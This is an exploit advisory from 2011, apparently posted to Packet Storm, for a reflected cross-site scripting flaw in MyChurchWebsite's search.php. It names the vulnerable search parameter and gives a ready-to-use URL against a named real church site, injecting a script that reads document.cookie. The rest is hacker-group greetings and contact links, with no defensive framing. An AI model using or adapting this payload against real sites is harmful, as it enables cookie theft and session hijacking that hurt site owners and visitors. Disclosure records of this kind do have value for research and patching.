MyChurchWebsite Cross Site Scripting

# Exploit Title: MyChurchWebsite XSS
# Date: 04.11.2011 - 17.55
# Author: Mr.PaPaRoSSe
# Tested On: BackTrack 5 - Win7
# Platform: Php

-------------------------------------------------------------



search.php?pageID=search&search=XSS

http://cacop.net/search.php?pageID=search&search=%3Cscript%3Ealert%28document.cookie%29%3C/s

cript%3E

Church Website Provided by mychurchwebsite.net

-------------------------------------------------------------
Contact: paparosse.blogspot.com
Greetz: Http://DarkDevilz.in/
-------------------------------------------------------------
3spi0n - ALEXTRAX - sanTiq0
Deathless - ZyX - Tarxes
53rh4+ - bLaCk_uMo - PeRs
syntaX - Mavi_Karalik - DarkCOD3R
x-Leader - Cyborg - Y2J

~ And All DD'z Family
-------------------------------------------------------------
#~ DarkDevilz - Defence And Destruction Group'z - TURKEY ~#


http://packetstormsecurity.org/files/106599/mychurchwebsite-xss.txt